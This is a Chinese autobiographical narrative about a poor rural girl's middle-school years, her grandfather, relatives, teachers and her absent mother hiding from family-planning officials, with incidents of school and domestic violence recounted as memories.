我说:“我不是独生子。” “我还以为你是独生子呢。”她笑着说。 她不知道,我哪里是独生子啊。我不仅不是独生子,我还是贫困户,我还是个没爹的孩子。 我住校自然要带饭,人家带的煎饼咸菜,而我带的是爷爷给我蒸的大馒头和脆疙瘩咸菜。爷爷也没有那么多白面蒸馒头,有时候就给我蒸粗面的馒头,蒸出来黑黑的。我爷爷蒸的馒头用了旧的面头引子,酸酸的,即使是白面馒头,我也吃够了。但是没有办法,我爷爷不会烙煎饼。 有一回,我爷爷给我蒸了粗面的大饺子,我们给叫“大角子。”吃饭的时候,人家吃白白的煎饼,我从我带饭的箱子里拿出来一个黑黑的“大角子。” “你吃的是什么呀?”我的那个女同学吃着煎饼问我。我看得出来,她不是坏,她是真地不知道我吃的是什么玩意儿。 我说:“‘大角子’,俺爷爷蒸的。俺邻居的老奶奶也蒸地这个。” 我说这话儿的时候,我当时的口气,听起来,好像是一个富家的千金偶尔吃了一次窝窝头儿似的。 是的,一个穷人家的孩子,在一个新的环境里,还是想竭力地掩饰自己贫穷的尴尬。 “你咸菜瓶子里装的什么?”另一个女孩子问我。 “咸菜疙瘩。”我说。 “怎么一股子生油味?”她说。 “我没炒,我倒的生的豆油。”我说。 “我能闻闻吗?”她说。 “能。”我说。我当时居然说能。 她拿过我的咸菜瓶子放在鼻子底下皱着眉头闻了一下,又给我放回去了。 我们大多数人大多数时候是带饭,偶尔也去打点菜吃吃。一到饭时儿,卖菜的几家子男男女女就把她们的菜桶汤桶放在宿舍下头的下水道上等着了。打菜的同学拿着自己的不锈缸子跑去了。大家把卖菜的女人包围起来,簇拥起来。使她动弹不得。 “给我!给我!”“给我给我给我!” 卖菜的女人满脸满鼻子的汗珠子,她吃力地拿着大勺子,在少男少女的簇拥里升起来又伏下去。 也有人到学校大门口儿去吃拉面。拉面的是校长的另一个亲戚。他很会拉面。他的面前摆着一桌一锅。那桌是不锈钢的,崭新透亮。那锅里滚着沸水,热气腾腾的。他个子瘦高,高度近视,戴着眼镜,没有下巴,整个脸显得很小,皱皱巴巴的,看起来像是一个姥姥。他扯着一根长长的面,在面前的不锈钢桌子上“砰砰”地甩着、弹着,砸着,舞着。他的明晃晃的镜片闪耀着。衬托着他的面孔也是十分带劲儿,高度兴奋着。我没有钱去吃拉面。也是因为他的那张脸,我没有去吃过他的面。 后来,我爷爷请了南家前的二奶奶来给我烙了一回煎饼。但这不是长久之计,二奶奶也不愿意每个星期都去给我烙煎饼。所以爷爷还是给我蒸馒头,放在黄纸箱子里,用绳子横七竖八地勒上,我带到学校里去。 周五放学,我骑车回家。自行车后座上,用勒车绳子绑着我带饭的纸箱子。过了坦上集的时候,下大雨了。我没有雨衣也没有雨伞,只能飞快地蹬着自行车往家赶。那天的雨不冷。我只顾着往前冲,不知道后座的纸箱子已经被大雨淋透了,纸箱子坏了一个角,大馒头从里头滚了出来,掉到了我身后的公路上。 我的小学同学张大龙骑着自行车从我的左后方超上来。 “宋大省,你的馒头掉了!”他在雨里朝着我喊道。 我赶紧停下自行车,朝后头一望,可不是嘛,两个白白的大馒头掉在大路上了。我捡起馒头,就朝纸箱子里头放。纸箱子早就被雨给淋坏了一个角了。我顾不了那么多,赶紧用勒车的绳子把纸箱子胡乱捆一下,骑上自行车继续往家赶。 到了爷爷家,雨终于停了。 我爷爷难得的买了一条鱼家来。 “雨太大,人家水库边儿上养鱼的,鱼都死了,拉到庄上来贱卖。我买了一条。” 我爷爷锅里烧着鱼,我在心里想着路上的事儿。我跟张大龙很久都没见过了,我们不在一个班。这次难得的见面居然被他笑话了。我知道他不会笑话我。他知道我家庭困难,他还给过我一个大西红柿呢。不过,我家也不是他想象地那么穷。你看,我爷爷今天,还烧了一条鱼呢。 我想着路上的事,漫无目的地走着。竹来家的代销店门前,那棵高大的梧桐树下,落了一地的梧桐花。一朵朵的梧桐花,像一个个淡紫色的小喇叭,淡紫色的“喇叭”上面,布满了紫色的星星点点。“喇叭”芯子里,是黄色的花蕊,散发出浓郁的并不芬芳的气味。 蓬蓬的树荫下,摆了一张台球桌。吕四是这张台球桌的常客。他平时偷鸡摸狗,不务正业。村里闹賊,人家都怀疑是他干的。他老实敦厚的爹,正沉着脸从我爷爷家门前走过。 老娄奶奶坐在自家大门口儿,拿着蒲扇,看见吕四的爹经过,就赶忙问他:“他大哥,恁这是到哪去的啊?” “去喊那个有功劳的吃饭去!”吕四的爹一边愤愤地说着,一边低着头往前走。 梧桐树下头的台球桌是竹来大爷家的。竹来大爷有五十多岁,他儿子吉祥大哥十七八岁就结了婚。大嫂子双眼皮大眼睛,个子高高,白白胖胖的。他们生了一个小男孩儿。吉祥大哥家就住在我爷爷家前头。竹来大娘跟竹来大爷看着他们的小店,吉祥大嫂子带着她的儿子在大街上玩。竹来大爷高高大大,不怎么说话,竹来大娘跟谁都温温和和的。 吉祥大哥被人家喊去打牌了,该吃饭了也不回家。吉祥大嫂子带着她家的小男孩站在人家屋后头喊:“吉祥!回家吃饭了!家也不回!孩子也不问!天天打牌!天天打牌!死在人家里算了!” 不一会儿,吉祥大哥从人家家里窜出来了,他窜到大嫂子面前,对着她就是一阵打。刚刚下过一场雨,地上全是泥,吉祥大嫂子一屁股跌在泥水里。 大嫂子立马用带着哭腔儿的声音又哭又骂:“你个逼样的,逼样的!养汉头将的!” 竹来大娘从小店里跑了出来,带着哭腔儿劝架:“小吉祥啊!小吉祥啊!”我吓地赶紧跑回我爷爷家里。 “吉祥再去打牌,我就去喇叭头子里骂!谁让吉祥去他家打牌,我就骂谁!”大嫂子恨恨地说。 星期天下午返校的时候,天正下着小雨。我正骑着自行车进校门的时候,看到了我那个师姐,她正推着自行车慢吞吞地走在我前头。她穿着红色的衣服,头发上有蒙蒙绒绒的雨雾。她的腰身比以前要粗壮地多,听说她已经怀孕了。 我初中的学校是在凤安乡。凤安街姓景的,是全乡皆知的高门大户。等我上了初中,身边有很多姓景的。 我们初一年级也有很多姓景的。最出名的是一个姓景的男孩子,名字我忘记了。姑且叫他景明吧。景明家在凤安街好像很有势力,他在校园里也很有名气,他的名气倒不是因为他有什么才华,而是因为他在打架斗殴、寻衅滋事和乱搞男女关系方面首屈一指。 一天,景明居然来到了我们班,站在了我的课桌前。我那时候正坐在座位上,我的座位恰好是进门的第一排。课间,旁边没有几个人。我不敢抬头看他,我就低着头,像是一个低等大臣面对皇帝的问讯。景明则是垂头看着我。我虽然不敢看他,但是大概知道他整体形象是棕黄的、暗灰的,个子也不高,相貌也普通。 景明发话了:“你帮我写一篇作文行吧?”他声音并不高。他大概是听谁说我写作文不错,一时心血来潮来看看我这个人吧。我心里没底儿,不敢惹这个太岁,也害怕与他牵扯会引来杀身之祸。我就低着头为难地说:“我也不会写。”他看我为难,也就不吭声儿了,不一会儿,他就离开了。这以后他也再也没有来寻过我。 到了初中,我根本就不知道该怎么学。中午的时候,人家有的同学都在教室自习,我就跟两个凤安街的姓景的女孩子到操场去玩,三个人各自拿着一包榨菜,蹲在地上吃,吃地嘴巴红红的,然后到操场上荡荡秋千,翻翻单杠,一直到下午上课才回到教室里。等我们回到教室,教室里的同学已经坐地满满当当地了。 我除了语文政治历史,其他的都不好。数学不好,几何不好。生物不好,地理更不好,我搞不懂什么地球的东经西经黄赤交角。反正是跟理科沾边儿的都不好。 我的英语也不好,经常不及格。也无怪,五年级升初中的那个暑假,人家都上了补习班。我去了南乡,什么也没上。 老师在讲台上教我们ABCD,我根本就不感兴趣,我看着书本上的课后练习,也不知道那是一堆什么东西。 我喜欢上音乐课。我们的音乐老师也教我们唱歌。我还记得他教我们的一首歌:“鲜花曾告诉我,你怎样走过,大地知道,你心中的每一个角落。”这首歌我很喜欢,以后的很长时间,我都爱唱。音乐老师教我们的时候,我看到他是一个很有点斯文很有点才华很有点英气的年轻男人。 我们的校长有时候也很慈祥,经常,我看见他背着他的女儿走在校园里的小路上。我们学校好像为教职工的小孩子办了一个托儿所,里面有很多老师的小孩子。有的时候,我在那个坐满小孩子的教室前路过,看见我们的音乐老师弹着钢琴像模像样地教他们唱歌。 有一回晚上,不知道是为了什么事,大概是查宿,我们音乐老师居然到了我们女生宿舍。那些女孩子都很兴奋,围着他“叽叽喳喳”地。音乐老师在一群女孩子的包围下,也很兴奋,他面朝北坐在床边儿上,一个很活跃的女孩子坐在他的身旁。他的手放在那个女孩子的裤兜里。那个女孩子,就是当年跟我一起争抢我爸爸手里的气球的那个。此刻,她的脸上喜气洋洋,放射出红红的光。 不久,听说我们的校长要调走了。继任者外号叫“大熊猫”。大熊猫长得很胖,满脸肥肉,浑身肥肉,开会的时候,他说起话来声音并不高昂,倒像是我的哪个亲戚在跟大家诉说衷肠,颇有些亲切的味道,给我似曾相识的感觉。我虽然觉得他那种亲切的语调非常亲切,但是我又并不喜欢他的这种亲切,因为我觉得,他其实并不亲切。他实在肥胖,连他的亲切的嗓音里都飘着一股子猪油的味道。他的脸上也是油光闪闪,满面红光。 旧校长要走了,“大熊猫”让我们这些学生列队夹道欢送。我们正上着课,忽然被老师叫出去,沿着学校大道两边的下水道,排成两列,手里还挥动着小红旗。嘴里一阵阵地有节奏地喊着:“校长好!”“校长好!”“校长好!”老师站在一边,抱着膀子看着我们的表演。 校长背着手,昂首挺胸地走了过来,又走了过去。 看着校长远远离去,我们才结束了这场闹剧,又回到教室里。 这是继任者“大熊猫”给他的前任搞的欢送仪式。旧的不去新的不来。“大熊猫”的心里肯定很高兴吧。 教工宿舍的后面就是我们开大会的操场。 新上任的“大熊猫”召集我们在这儿开会。所有的大队人马都集中在这儿。人们一排排地站着,会议还没有开始。不知道哪个班的一个男生突然叫了一声。 “大熊猫”瞪眼过去,问一声:“是谁?!” “是初二三班的!” 他身边的执事应声答道。 “大熊猫”怒道:“揍他!” 那人快步奔过去,朝着那个叫喊的男同学奔过去。我们都被吓怕了,像是兵马俑一样地站在原地,不敢吭声儿。不知道那个执事是动用了哪个门派的招式和拳法,他很快就把那个男生打倒在地了。众目睽睽之下,那个男生像一条狗一样匍匐在地上。我不知道他的爹娘是谁,也不知道他是谁家的儿女。那时候,学生被打很正常。那个男生倒在地上,我们也习以为常。 该上体育课了。体育老师拿着个青绿的小苹果啃着,一言不发。我们几个小纵队的人马老老实实地站着等他。体育老师在啃他的小苹果,边啃边吐。看得出来,他的心情非常不好,寝食不安,难以下咽。他哪里是在吃苹果,他分明是有苦难言,用这个象征着智慧和爱情的苹果来折磨自己呢。 “滚!跑!”他歇斯底里地朝我们嘶吼道。 我们几队人马乖乖地沿着操场跑起来。 “体育老师失恋了。他对象把他踹了。”有人悄悄地说。 那时候,我才十三四岁,经常想妈妈,哭,厌学。我不想上学了。在一个黄昏,我在古道西风里用自行车驮着我的课桌跑到了姥娘家。 “你不想上学怎么办啊,我也没有办法。等恁妈妈来的时候,再把你送到学校去。”我的小脚的姥娘说。 “外甥女,你还是得去上学。恁舅以前也逃学。我劝他,他还要揍我。你看,恁舅现在好吧。人家当老师了。”我大姨说。 我二姨抱着膀子也来了。她刚走到我姥娘的大锅前,我姥娘就跟她说:“恁三妹妹上回来,给小宝买的一瓶油,你给她倒到锅里炼炼。回她上学的时候带上。” 我二姨就去烧锅给我炼油。那瓶油在锅里滋滋地响。我二姨坐在板凳上,一声不响。我看着二姨的后背,我知道,二姨的日子也是过地贫穷而绝望。 “恁妈妈的两个箱子还放在俺家里的。”我姥娘跟我说。 “啊?恁屋里头的那两个箱子是俺妈妈的?”我说。 我走过去,打开箱子。里头的衣裳都是好好的,崭新的。我像是发现了一个宝藏。 “那都是恁妈妈‘下红’的时候的衣裳,你不要给她胡乱动哈。回她吵你。”我姥娘叮嘱我说。 “哦。”我答应着,“我想挑几件衣裳穿。俺妈妈现在也不穿了。” “那些衣裳都是恁妈妈自己缝的。都崭新。你望望你能穿吧。”我姥娘说。 我望望那些衣裳,领子是竖领儿,前头还是带大襟的。布料过时,式样老气,剪裁也土气。可是我实在没有衣裳穿了。最后,我挑出来一件蓝色的褂子。留着我冬天笼袄穿。 我妈妈来了,她把我送到学校里去。 “我这回把你送回来,你可不要再逃学了。我还得回去,还得照顾恁小弟小妹。我顾不了你。”我妈妈跟我说。 “嗯。”我在嘴里答应着。可是,我想着马上就要离开我的妈妈,还有马上就要孤身一人的自己,我的心里多么孤单弱小无助啊。 我妈妈走了,我一个人坐在宿舍里,看着我一点都不喜欢的宿舍,想着更加不喜欢的教室,那时候,上学对我来说,真是很大的煎熬和痛苦。 如果一直那样下去我可就危险了。后来,我们班换了一个刚毕业的英语老师,她姓王,叫王映红,她戴着一副眼镜,显得斯斯文文,干干净净。她的头发高高地编起来,用一根玛瑙似的簪子别在脑后头,显得端庄又玲珑。她并不是最漂亮的,但她亲切,爱笑,她在我们的心目中是最可爱最漂亮的。 “Class bigen!”王老师走上讲台说。 “Stand up!”课代表说。 “Good morning, class!” “Good morning teacher!” “好,我请两个同学来读昨天的课文。”王老师说。 “宋大省!你读Hanmeimei。” 我嗖地站了起来。 “宋刚端!你读Jim。”一个叫宋刚端的男生也站了起来。宋刚端成绩很好,英语也很棒。只是,他的家庭条件应该也不好,他穿着一件并不新潮的蓝色的衣裳,鼻子上总是有擤过鼻涕留下的两道红杠。 “宋钢蛋!”台下的同学小声儿地笑着说。 “好,开始!”王老师说。 “Hello!” “Hello!” “My name is Hanmeimei .Whats your name?” “My name is jim Green.” “How are you,Miss Gao?” “Fine ,thank you .” 我就这样喜欢上了英语课。 我认真地记笔记,记单词,背书。上课时,我积极举手发言。 “宋大省!”王老师又叫我上黑板默写了。我为了表现好,事先用蓝色的圆珠笔把单词偷偷地记在手心儿里,以防万一。 “beef,牛肉!” “orange!橙子!” “cabbage!卷心菜!” 王老师一个个儿地抱着单词,我一个个儿地写着。写完还学着她的样子,把双手斯斯文文地放在一起。 “宋大省看了!她手心儿里记着的!”台下有人举报我说。 “啊?宋大省看了吗?”王老师说,“她没看啊!”王老师抬抬她的戴着眼镜的眼睛看看我说。 “她手心儿里有!”台下的同学说。 “她没看就行!”王老师风轻云淡地笑笑说。 我不知道王老师知不知道,我手心儿里记着单词,可是她没有戳穿我。我手心儿里真的偷偷地记着好几个单词。可是,我的默写真地在慢慢地变好,我的英语成绩也在慢慢地变好。 “哪位同学来背昨天的课文?”王老师说,“宋大省!” “This is Uncle Wang .Uncle Wang likes making things.He makes many things.Today he is making maching.”我一句句地背着。王老师笑眯眯地看着我。 我从一个英语差生慢慢地成了一个英语课上的骨干。我不仅可以流利地背书上的段落,我还可以一鸣惊人,说出别人不会的答案。 过了一段时间,我爷爷跟我说:“省儿啊,我看你上学带的被太薄了,到冬天不暖和。我去卖烟叶,买几尺布,买点棉花,给你套床新被。” 我说:“行。爷爷,咱去赶哪个集啊?” 我爷爷说:“咱去赶车辋集。” 那时,没有什么亲戚可走。我就喜欢跟着爷爷去赶集。我们走的是白山家前的那条大路,那是一条新建的柏油公路。路上是细细的小石子。路两旁,全是山。越往北,越是一座座高高的青山。山连着山,山挨着山。 “这个是猪山,那个是羊山。这个是马山,那个是虎山。”爷爷一一指给我看,“猪山矮,羊山长,幸有马山挡一挡。没有马山挡一挡,虎山过来吃猪羊。” 我跟着爷爷走一段路,自己就蹬着自行车骑一段路。到了快下坡的时候,我犹豫着要不要下来推着自行车走。可我看那坡不是很斗,要是推着走,要走好一段路。于是,我还是决定骑车下坡。我把腿别到大梁下头,紧紧地握着车把,刹着闸,骑着车缓缓地从高岗上冲下来。 一开始,我还能控制地住车速,越往下,陡坡的冲劲儿越大,我的自行车越来越难以控制了。无论我刹手闸,还是把脚蹬子往后蹬,来刹脚蹬子上的车闸,我的自行车都不再听我的指挥了。它像是失控了一样,一个劲地往前冲。我吓地不知所措。那时候汽车不多,但是我远远地往下看去,山坡下,在我的自行车正前方,还是有几辆汽车和过往的行人。路边上,还挺着几辆人家的自行车。完了,我要撞车了。怎么办呢?我是继续由着我的自行车往前冲呢?还是把车把松了,任凭这自行车撞到哪里去呢?还是我抓着车把先自己摔倒在公路边上呢?我还是决定自己紧紧地握紧车把,即使是自己控制不了自行车了,也还是绝不放手。就这样吧,听天由命,我只尽自己的力量,至于它要撞到哪里,会把我摔成什么样儿,那我就管不了了。 我的自行车飞速地冲下坡。意外的是,那些坡下的车都自动地避开了我。我蹬着这辆根本刹不住的自行车,居然没有撞到哪个。等我到了平地上,我赶紧下来,推着车站在路边,等着我爷爷。 爷爷带着我又走了一段路,到了车辋,爷爷带我去了一个我从来没去过的二爷爷家。爷爷带的礼物是山芋干子换的一笎子烧饼。 “过死念儿了,带她来走走亲戚!”爷爷笑嘻嘻地跟人家说。 二爷爷、二奶奶热情地接待了我们。二爷爷陪着我爷爷说话,二奶奶去买了豆橛子、猪肉回家。我站在锅台旁边看二奶奶炒菜。二奶奶把菜烧好了,叫我坐在饭桌上跟着一起吃。二奶奶炒了猪肉烧豆橛子,我就着我爷爷买的烧饼吃。 我们到了集上,等爷爷把他的烟叶卖完了,我跟着他到了卖花布的摊位儿那儿,选来选去,选了一块绿底带粉色莲花的花布,让卖布的撕了,包好。 我又想给自己做一身衣裳。我选啊选,选了一块红色带白杠的格子布来做褂子,又选了一块黄色带黑杠的格子布来做裤子。买好了布,我骑车跟着爷爷回家了。 回家的时候,我们不走大路,爷爷带着我抄近路,走别人的庄上。爷爷跟我说,我老爷爷他们没迁到荆堂前,就住在这个庄上。荆堂在水库东,这个庄在水库西。既然路过了,我爷爷就带我去看看这个庄上的一户本家。开门的是一个跟我爷爷年纪差不多大的小老头。小老头把我们让到家里,我们坐了一会儿,我爷爷跟人家说说话,我们就离开那户人家,准备回家了。我们在庄里走着,整个庄几乎是建在一个小山坡上。脚底下,满大街都是大大小小的青石头,铺地密密麻麻地。那些青石头,有拳头大小,有的是烟灰色,有的仿佛带点蓝,泛着白白的光,走起路来硌地慌。 路两边是错杂丛生的柿子树、梨树,这些都让人觉得这个庄很是荒凉。 花布买好了,接下来就是套被子了。东善的娘,我们叫她老刘奶奶。我爷爷,我妈妈,都跟老奶奶处地很近乎。我爷爷在天井里铺上塑料纸,喊老刘奶奶来帮忙套被子。爷爷包了素菜饺子,还炒了菜,那几盘子菜也都是素菜、豆腐,没有鱼肉。 该吃饭了,我爷爷让老刘奶奶坐在上位上。跟她说:“大婶子,我也没弄什么好菜,我就包个饺子,炒盘子豆腐。你将就着吃。” 老刘奶奶看着满桌子的饭菜,很是满足,嘴里连连说着:“天父哎!天父哎!” 被子,我爷爷是可以帮我套的,可是,我的褂子、裤子,找谁帮我做呢。 我爷爷说:“恁金荣大姐会裁缝,让恁金荣大姐帮你做衣裳吧。” 我就提着塑料袋里的两块布到了金荣大姐家。 我进了她家大门,喊了一声:“大姐”。 金荣大姐从屋里走了出来。 大姐问我:“大省你来了?你来有事儿吗?” 我说:“大姐!我买了两块布,想让你帮我做身衣裳。” 金荣大姐说:“行。” 我说:“那块红布做褂子,那块黄布做裤子。” 金荣大姐说:“行。” 我又说:“大姐,我喜欢穿背带裤,你能给我把裤子做成背带裤吧?” 大姐说:“能。” 我说:“那谢谢大姐了。手工费是多少啊?” 大姐说:“不要了。” 我说:“啊?那不是太耽误你的功夫了嘛?” 大姐说:“没事儿。你过两天来拿吧。” 我说:“行。谢谢大姐。” 过了几天,我去大姐家,大姐把她给我做好的衣裳拿给我。我看了看,是我喜欢的背带裤,就高高兴兴地拿回家了。 我回到家,跟我爷爷说起金荣大姐没要钱的事儿。 我爷爷说:“恁金荣大姐跟恁大娘,还有她那个小男孩儿,娘仨儿,前阵子生病了,差点没抢救过来。碰到个好医生,把她娘仨给抢救过来了。还没要钱。” 我说:“俺大姐跟俺大娘得的什么病啊?” 我爷爷说:“不知道。听说是遗传的病。都上电视了。电视里放的,恁吉祥大哥捧着红旗,去感谢那个医生的。” 又是一个星期天。我爷爷刨回家的山芋放在框子里,靠在他的小花园的墙边儿上。天井里,平平整整的地面上,铺着一层细沙。这细沙,有我爷爷之前从家东杨树行子里推来的,也有刨山芋的时候从地里带出来的。 傍晚了,我爷爷忙着在锅屋里烧饭。我闲着没事儿,突觉一阵肚子疼。那阵子,我有点迷恋武侠。心想,是不是我来练练武功,锻炼锻炼身体就好了。我就在爷爷的院子里耍起了自创的武功。然而,肚子还是有点酸疼。我不知道是怎么回事。 等我到了学校。又过了几天,我上厕所的时候,无意间看到我的裤头子上头红红的一片。我的那个裤头子是蓝色的,带着一些黄色的小碎花。原来它是很好看的。现在已经洗地发白了。为什么我的裤头子上有血,这是怎么回事?我看看身边其他的女同学,突然明白了,是我来月经了?我第一次来月经了!我来月经好几天了我都不知道! 是的,我那时候不是每天都换裤头子的,我除了身上穿的一个裤头子,根本就没有第二个。我那时候既不知道裤头子要每天换洗,也不知道再去买第二件。我就一直穿着一个裤头子。并且,这种状况维持了好多年。 我赶紧去买了一刀卫生纸来。我把卫生纸放到床上,不知道怎么叠。同宿舍的一个女生一看就知道是怎么回事儿了。 “来!我教你!”她说。 那时候,还没有几个人用卫生巾。有一天,我去南家前兰兰家的小店去买卫生纸,二奶奶坐在小店里。她把一刀卫生纸通过小窗户递给我说:“小娟也来买卫生纸了。她使得可快了。一天一刀!跟杀猪的似的。” 穷人的冬天是根本没办法遮掩的。很快,我就没有衣裳穿了。我把我从姥娘家拿来的我妈妈的那件带大襟的褂子拿出来,当做笼袄的褂子穿。 我的英语越来越好了。一次,英语试卷发下来的时候,我居然得了96分,全班第一。 一天,王老师上英语公开课了。我当然也是积极地发言,想要把她的课烘托地热烈圆满。我起来回答了好几个问题,王老师的课上的也很精彩。要上黑板默写的时候,我还是积极地举手了。但是我穿的衣裳太过时了,让我上黑板上板演,我是很不自信的。我想,王老师不会叫我的吧。我穿成这样到了黑板上,她会不会觉得我给她丢脸啊?我上黑板的话,我的带大襟的褂子,不是给那些听课的老师看到了吗?我一个英语课上的佼佼者,居然穿这样的带大襟的褂子,那些老师怎么想我,怎么看我呢? 但是,王老师还是叫了我。 “宋大省!”她说。她还是一如往常的笑着。我穿着臃肿厚重的棉袄,和我妈妈的带大襟的蓝褂子到黑板上去了。台下,坐着很多听课的老师。有一个,还是我印象很深的长得很帅的打扮潮潮的嘴唇红红的男老师。我上去写完答案,又从黑板上走下来。那些老师一定看到我那件带大襟的褂子了吧。我虽然英语成绩很棒,可是我的穿着太给老师煞风景了。 2.寄姑篱下 又一个夏天到了,我的脸上长了很多劲疙瘩,也就是青春痘。我自己到药店里问问医生,医生给我一支药,我抹了也没有多大的用。那时是夏天,苍蝇蚊子很多,尤其是绿豆蝇很多。我爷爷用他的小喷雾器,兑了敌敌畏的药水,成天在屋门口儿喷药水儿。 我百无聊赖,学习也没有劲头。就呆呆地捧着一本书看。西墙头下面,一群母鸡在蓝色胶丝网围成的围栏里咕咕地叫着,踱来踱去。南墙头上,鲜绿的丝瓜藤长得正盛。夏天,爷爷种的豆角、丝瓜很多,可以自给自足了。烧饭的时候,我爷爷摘几个丝瓜,用刨子削削皮,放上葱花一起炒炒,就成了很好吃的一碟菜。 眼下,没什么需要我帮助爷爷干的农活儿。我爷爷戴上席甲子去西岭上薅草去了。 临走前,爷爷跟我说:“省儿,你在家里吧,我上西岭薅草去了。” 我跟爷爷说:“爷爷,天太热了,恁还去薅草啊?” 我爷爷说:“天热,才能长庄稼。不长庄稼,老百姓吃什么啊。我走了,趁着凉快薅薅,等到晌午头儿,太阳毒了,就薅不了了。清起薅的草就给晒死了。” 那阵子,我住我二姑家。我因为长大了,不住我爷爷家了。二姑家的大表姐在别的地方上班,很长一段日子才回来一趟。二表姐每天打扮地好好地,骑着自行车去五叔的厂里上班,也不怎么回来。听说二姐上班的地方,五叔在那里当科长,二姑这是借了娘家的光。 夏天,二姑家忙着薅草。我因为脸上生了疙瘩,太阳一晒火辣辣地,我就没怎么去二姑地里找她。我二姑明显地不高兴了。 有一天晚上,我去我二姑家,我二姑干活儿还没回家,我就先睡了。没多久,二姑回来了,还有鹏飞,鹏飞帮她干活儿,也跟着回来了。鹏飞是我二姑二小叔子的大闺女,我二姑平时也不怎么待见她。 可是,今天不一样。二姑带着鹏飞大张旗鼓地刷锅、烧水,高声地跟鹏飞说着话。 “哎!还是俺鹏飞好!俺鹏飞勤力,孝顺大娘!俺鹏飞今天去给大娘干活儿了!走!给大娘烧锅去!把柴禾烧地旺旺的,大娘给你下面条子吃!” 我睡在床上,我二姑说什么我听地清清楚楚地,她是故意说给我听的。鹏飞还是个天真的小女孩儿,她那时候才八九岁,根本不知道我二姑跟她说的每一句话都是别有用心的。她只知道我二姑那天对她格外热情,她受宠若惊地热火朝天地跟着我二姑烧锅。 “哎!鹏飞真勤力,面条子下好了!大娘多给你捞哈!给你捞一大碗!”二姑高声说道。二姑捞上两碗,就跟鹏飞一起坐在堂屋里吃起来。 二姑边“呼啦呼啦”吸着面条子,边格外亲香地关心着鹏飞:“鹏飞,面条子香吧!好好吃,吃完大娘再盛!走满天下端着碗,光喜勤力不喜懒!”我知道二姑嫌弃我不去西岭帮她干活儿,生气了,故意敲打我,就眯着眼装睡,不吭声儿。我妈妈不在家,我到处寄人篱下。鹏飞当时只有八九岁,她也是难得的帮我二姑干一次活儿,平时也没见过二姑给她吃过什么好东西。 过了几天,吃完早饭,上午九十点钟的时候,我主动去西岭上找二姑,她在玉米地里薅草。大夏天,太阳很高了。我脸上的疙瘩,在太阳底下,晒得红红的、辣辣的。我到了西岭上,左前方的高岗上,隔着十几步的距离,我二姑从地里走出来了。 她看到了我很惊讶:“你怎么来的?” “我来帮你干活儿,二姑!”我说。 “你脸上怎么回事儿,长那么多疙瘩子的?娘啊,真吓人!不是小老头儿天天拿喷雾器喷敌敌畏,给你熏地吧?你回去吧,别来干活儿了!”听了二姑的准许,我才折返回爷爷家去。 晚上,我来二姑家睡觉,我跟二姐睡在大立柜隔起来的西屋,那是大姐和二姐的床铺。二姑和二姑夫睡在东屋。 我们大家还都没睡着的时候,二姑夫开始问我话了:“大省,你知道恁妈妈搁南乡的地址吧?恁妈妈到底搁哪啊?” 这样的问话,我从小就被人家问惯了。对于这样的问话,我早有心理准备。我妈妈早就跟我说过很多次,我妈妈在外头躲计划生育,谁要是真地可怜我们,那就对我这样的缺爹少娘的孩子好一点,遇到给口吃的,给口喝的。不安好心地问我妈妈躲计划的地址干什么?是要把我们告给计划生育小分队,让人家把我妈妈抓起来?还是要跑到南乡,来给我们捣蛋,让我们在南乡混不下去呢?总之,问这种问题的人大多是没安好心。问这种问题的人都是坏蛋,我是坚决不能告诉他们。但是,我还是个小孩,又要住在二姑家里。所以,面对二姑夫的问话,我既不能跟他说实话,也不能让他知道我故意不想告诉他。那我就要装作不知道,而且一定要装地诚恳一点。 于是,我就装着迷迷糊糊的样子说:“我也说不清哦。就知道是南乡。” 二姑夫说:“那个庄叫什么名儿?” 我说:“我也不知道,没听说过。” 二姑夫说:“那里是不是有一座桥啊?” 我想,大桥可多了。你就是知道大桥,也找不到我妈妈。 我就说:“嗯,是有一座桥。” 我二姑虽然默不吭声,但我知道她也在屏息倾听,她也想知道关于我们在南乡的一些更加确切的信息。她也想问,但是她不吭声,不参与问话。我知道,她是忌惮我妈妈,她怕我背地里告诉我妈妈,我妈妈背地里骂她。二姑夫也没有再继续难为我。他看我一问三不知,也就不再往下问了。 我二姑说:“你说,我那天看到俺大兄弟了。看到他从西北上石塱那里骑着大马来了。到了我跟前啊,普通一下倒下去了。” 二姑夫说:“我冬天看大棚的时候,看到家军了。那天晚上,我自己在大棚里,看到他来了。我跟他说话,‘兄弟你来了!兄弟你坐!’他就坐下了。我说,‘兄弟,你喝酒吧,我回家拿酒,咱一块儿喝酒哈!’说完,我从大棚里出来,撒腿就往家跑。” 当时夜色漆黑,二姑夫应该很害怕吧。呵呵!我当时心里有些庆幸和高兴。庆幸的是,我爸爸的魂灵还来过这世间一遭,高兴的是,我爸爸的魂灵让我二姑夫受到了惊吓!我爸爸生前老实本分,我们家贫寒孤单,眼下,除了爸爸的魂灵,还有谁能来为我们孤儿寡母做些什么呢? 不久,我听到二姑的声音:“别碰我!你恁烦的,别碰我!”我从二姑的声音里听出了二姑真正的厌烦和拒绝。他们大概不会发生什么了。不久,我们大家就都沉沉地睡去了。 星期天,我无事可做,就骑着自行车到处溜达。我溜达到杜村家后河沿那里的时候,居然看到我妈妈了。她顶着炎热的大太阳从南乡回来了。 我问她:“妈妈,你怎么回来了?” 我妈妈说:“你脸上不是长疙瘩吗,我不放心。回来看看。人家说的,用雪花膏配上药抹脸,能治好。我给你买了几支药水和雪花膏。等回家我给你配好,你自己抹抹。” 我跟着我妈妈一起回了家。我妈妈把一个药盒子里的一支药水拿出来,到外头天井里,用石头敲碎了,倒进一瓶雪花膏里。 她把那瓶雪花膏给我:“这个药配着雪花膏抹脸,能治你脸上的疙瘩。你自己带着抹吧。我得回去了。这是四十块钱,你自己留着喝茶。你省着点花。” 我说:“你今天就得走啊?” 我妈妈说:“我还得回去。恁小弟、小妹都上学。我今天回恁姥娘家,明天早五更就得起来。” 我说:“你走哪?走西山啊?” 她说:“嗯。天热,我步撵走,得抄近路。” 我说:“你自己走西山不害怕啊?” 我妈妈说:“我自己去南乡,都是住在恁姥娘家,四五点钟就起来。走西山这条路。西山这个地方紧,幸亏我是金骨人,要是糠骨人,就不行了,早就招了邪气了。” 我说:“我跟你一块儿走吧,我去学校。我还能跟你一块儿走一段路。” 我妈妈说:“行!” 我星期天返校,我妈妈正好要去南乡,我推着自行车,跟她一起走在坦上集前面的柏油路上。前面不远,就是我的学校了,而我的妈妈,她就要去我姥娘家投宿,准备第二天踏上去南乡的路。我很想妈妈,心里难过,有万般不舍,可是又无可奈何。我推着自行车,眼泪“哗哗”地往下落。我是三姐弟中的老大,我向来是不跟她撒娇的。在我妈妈跟前哭,我其实还有些不好意思。 